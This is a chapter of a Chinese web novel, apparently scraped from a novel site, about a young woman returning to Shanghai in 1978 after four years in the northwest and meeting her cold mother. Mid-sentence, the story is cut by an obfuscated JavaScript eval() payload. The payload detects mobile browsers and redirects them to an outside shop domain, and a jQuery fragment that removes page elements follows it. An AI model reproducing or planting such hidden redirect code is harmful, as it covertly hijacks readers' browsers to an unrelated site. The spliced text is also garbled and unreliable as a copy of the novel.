“呜、呜、呜”的汽笛声一声比一声响，贝碧棠头往后倒，失重的感觉使她从睡梦中醒过来。
绿皮火车在崇山峻岭中飞速穿梭，贝碧棠看着车窗外，片刻后才意识到原来自己在回沪的火车上，而不是在一九七四年的夏天。
她伸手揉了揉眼睛，不知怎么又梦到离开上海前的事了。
四年过去了，贝碧棠是怀着怎样的心情去西北的，又是怀着同样的心情回沪的。
贝碧棠往座位自己脚下一看，一个大的绿色网兜里面塞着两只红底脸盆、一个带盖搪瓷杯、一个铁皮热水瓶、一个铝饭盒、一个笔记本和两只铅笔。另一个军绿色行李袋里塞满了她的衣物和对她而言重要的东西。被子和席子她并没有带回来，留给了农场的阿嫂们。
想起自己那张精心编织，没有一根毛刺，又软又带点草木香气的草席，贝碧棠心里有点可惜。
不过幸好她独自一人回沪，没有伴，中途睡过去，行李也没有丢失。
贝碧棠对面坐着一位戴着眼镜的中年阿姨，对方手里叠着好几张报纸。
从这位中途上来的阿姨拿出报纸来，贝碧棠就眼馋了到现在，也许靠近家乡给了她勇气，贝碧棠忍不住开口了：“阿姨，可以借我一张报纸来看看吗？”
中年阿姨抬眼一望，心道，这姑娘无论看多少次都好看，一身绿色军装，衣摆塞进裤子里，显出细细的腰身，两条又黑又亮的麻花辫，皮肤白净清透，眼睛沉静有神，眉毛弯而细，唇红齿白。这副模样让人看了便心情清爽。
中年阿姨爽快地将报纸递给贝碧棠，“小同志给，想看哪一份你自己挑。”
贝碧棠礼貌道谢，拿起最下面的那一份报纸看了起来。
……
“今年1月1日《新闻联播》正式开播”
“今年高考时间为7月20日至7月22日”
“全国77级大学新生已全部进入校园学习生活”
……
贝碧棠看得入了迷，直到火车上骤然响起中气优美的广播，“各位旅客朋友们，火车即将达到终点站，上海火车站，请各位旅客拿好行李，不要随便走动，准备下车。”
贝碧棠背着行李袋，一手拿着网兜下了火车。
她没有急着出站，站在火车站内观看来来往往的人潮，家乡的火车站还是那个老样子，没有变，不知道上海的其他地方变了没有？
没有亲人来接，贝碧棠也不失落，这些年的知青生活她已习惯了什么都靠自己。
她坐了三站的电车，再转一次公交车，在弄堂口下了车。
街道上一间间挂着木制招牌的店铺，那家卖她最喜欢吃的烧麦的小店还在，自行车棚还是在原来的位置，还是有戴着红袖章的退休阿姨在大街上走来走去的。
凤凰牌自行车流仍旧是那么长，上海的姑娘穿着时髦的的确良衬衫配假领子，有的卷了薄薄的一层刘海。
上海还是那个引领着全国时尚潮流的上海。
贝碧棠闭上眼睛，轻轻嗅着来自弄堂的气息，洗发水味、黄鱼味、煤炉味……还是她熟悉的那个石库门，那个弄堂。
贝碧棠推开浅蓝色的布帘走了进来，苗秀秀正坐在窗户前，专心卷着手里的纸盒。
虽然这四年贝碧棠没回来过，苗秀秀的背弯了一些，头发也白了好几根，但贝碧棠还是一眼就认出来她的姆妈。
苗秀秀听到声响，转过脸来，看到贝碧棠，她没有起身，手里的纸盒也没有放下，脸色淡淡的，仿佛不是她四年未见的亲女儿回来了，而是哪个关系不怎么样的邻居上门来。
她见贝碧棠一个人回来，随口问道：“二姑爷呢？没上来喝口水歇歇脚？”
贝碧棠去西北的第二年秋，魏碧莉嫁了出去，嫁给了一个司机，这司机可了不得，是顶顶吃香的货车司机。
在魏碧莉不声不响火速嫁出石库门后，附近几条弄堂的人家都说，魏碧莉被天上掉下来的馅饼给砸中了。
贝碧棠在二阿姐出嫁的一个月后才收到信，连忙送十斤新棉花回去做魏碧莉的新婚贺礼。
贝碧棠一边放下行李，一边淡淡地说：“没见到二姐夫，我自己坐车回来的。”
回来之前，家里给她发了条电报，电报上面只有四个字的内容：二姐夫接。
贝碧棠在火车站没见到，那位从未见过面的二姐夫，没有马上走掉，而是等了半个小时，结果还是没见着身影，她才决定不等了，自己坐公共交通回来。
坐着像沙丁鱼罐头般的公交车，贝碧棠十分庆幸该送人的送人，没有拿太多行李，也不可惜那张宝贝席子了。
苗秀秀对二女婿没去接小女儿这件事没什么反应，她轻描淡写地说：“你二姐夫也许是临时有事，或者领导找他走不开，你能自己一个人回来了，也没出什么事。二姐夫没去接你这件事不要跟你二阿姐讲，省得你二阿姐为你出气，跟丈夫吵架。”
贝碧棠沉默了两三秒，点头答应了。她弯腰打开五斗柜，想拿出离家前自己常用的杯子倒杯水喝，她一路风尘仆仆的，口有点渴。
看了一圈却没有找到那个属于自己的水杯。
苗秀秀出声问道：“在找什么？”
贝碧棠回答道：“我的那只水杯呢，姆妈你藏哪里去了？”
“哦，那个杯子啊，我没藏，被小毛头淘气弄碎了。”苗秀秀的语气最后带了点淡淡的宠溺。
家里只有一个小毛头，她大阿姐生下的孩子，林康全，他出生后大阿姐再没有怀过，二阿姐嫁人至今没有怀上。
贝碧棠轻轻地关上门。解开死结，拿出搪瓷杯来，给自己倒了杯水，慢慢喝着，缓一缓情绪。
水喝完了，她用手背抹了一下嘴角，问道：“小毛头呢？”
“你大阿姐带去参加同事婚礼，吃喜酒去了。”苗秀秀笑着说，这是她在贝碧棠进门后露出的第一个笑容。
贝碧棠声音酸涩，“姆妈，我饿了。”
苗秀秀不咸不淡地说：“柜子没上锁，自己下碗面吧，那几个鸡蛋不要动，那是小毛头的口粮。”
四年的时间仿佛将苗秀秀和贝碧棠的那点母女之情给磨没了。
贝碧棠没下乡前，苗秀秀面上一碗水端平，贝碧棠受到的忽视是有，但委屈是没有的，阿姐们有的她也有，同时买不起三件新衣服，苗秀秀就让她们轮流来穿新衣服、新鞋子，贝碧棠作为老小没有捡上面阿姐们的旧东西。
但现在，三个女儿同
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253133|139703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
样的学历，大女儿顶岗有了工作，留家招了个男人上门，家里有了顶梁柱，又为苗秀秀心心念念的林家延续了香火。
二女儿高嫁，虽然还没有工作，但有个司机女婿，石库门里谁不高看一眼。三女儿在西北吹了好几年风霜，仍旧是三个女儿中最美的，但也只剩下那点美可以拿出来说一说了。
父母也是很势利眼的，女儿苗秀秀不缺，她足足有三个。何况她和贝碧棠的感情本来就不深。
贝碧棠站在煤炉子前，浪费了好几根火柴，才找回曾经的技能，将煤炉起了起来。
她用小铝锅接了点水，放在炉子上等着水沸腾，再下点细面条，用筷子将面条拨弄下水里，熄炉子，盖上盖子闷一会儿，揭盖，下点盐巴、滴点酱油和香油。
浅褐色的汤面上面飘着香味扑鼻的油花，白白的水蒸汽爬上贝碧棠如月似的脸蛋，她抖抖衣襟，端起锅吃了起来。
一直背对着她的苗秀秀闻着香味，突然问道：“没打鸡蛋吧？”
贝碧棠的眼睛熏着热气，“没打，留着给小毛头吃。”
苗秀秀又不说话了。
楼上的邻居从楼下上来，经过门前，脚步又返回来，看着贝碧棠惊讶道：“哟，这不是碧棠吗？回来了？这下不走了吧？这些年没见，模样没怎么变，还是那样水灵。”
贝碧棠放下铝锅，将面条咽下去，说：“刘阿姨，我今天才回来。”
刘阿姨还是记忆中的样子，一点也没见老，可见这些年过得如意。
刘阿姨上下打量着贝碧棠，感叹地说：“回来就好，蛮好的，要说还是上海好，哪个城市也比不上。碧棠你在西北长高了吧？也是，你去西北吃苦时才十五岁，长高也不奇怪，这下是亭亭玉立的大姑娘了。可怜哦，小姑娘吃苦头了，瘦了瘦了，叫你姆妈给你养养气色。”
她看了一眼楼梯，扶着门框探进头来，压低声音问道：“没在西北那边交朋友吧？你可不能脑子不清醒，犯糊涂哦。”
贝碧棠抿嘴笑了笑，摇摇头。
苗秀秀站了起来，来到刘阿姨面前说：“可不是，我就又盼着她回来，又担心她给我找了个乡下的女婿。这次回来我这个做姆妈的，再也不让她走了，给她找个本地人，你这个做邻家阿姨的给看看。”
闻言刘阿姨有些为难，但看着贝碧棠如花似玉的脸，拍拍胸脯说：“包在我身上。”
贝碧棠冷不丁地说：“刘阿姨，您不用操心，我自己找。”
这位刘阿姨的眼睛都要脱眶了，文静内敛的贝碧棠回来一趟怎么跟变了个人一样，自己找？这话放以前从谁嘴里出来，都不可能从贝碧棠嘴里说出来。
“自己找？”刘阿姨找回了自己的声音，“那你想找什么样的？跟你刘阿姨说说。”
苗秀秀摆手，轻轻推了刘阿姨的肩膀，说：“老邻居，先让我们母女说会话。”
刘阿姨不肯走，说：“不耽误的，我也听听嘛。”
苗秀秀不理她，转身回屋。再看看静静吃着面条的贝碧棠，刘阿姨撇撇嘴，扭着腰走了。
留下一句嘀咕，“不讲就不讲嘛。”
苗秀秀的强烈视线地落在贝碧棠脸上，贝碧棠眉眼不动，慢条斯理吃着自己的面。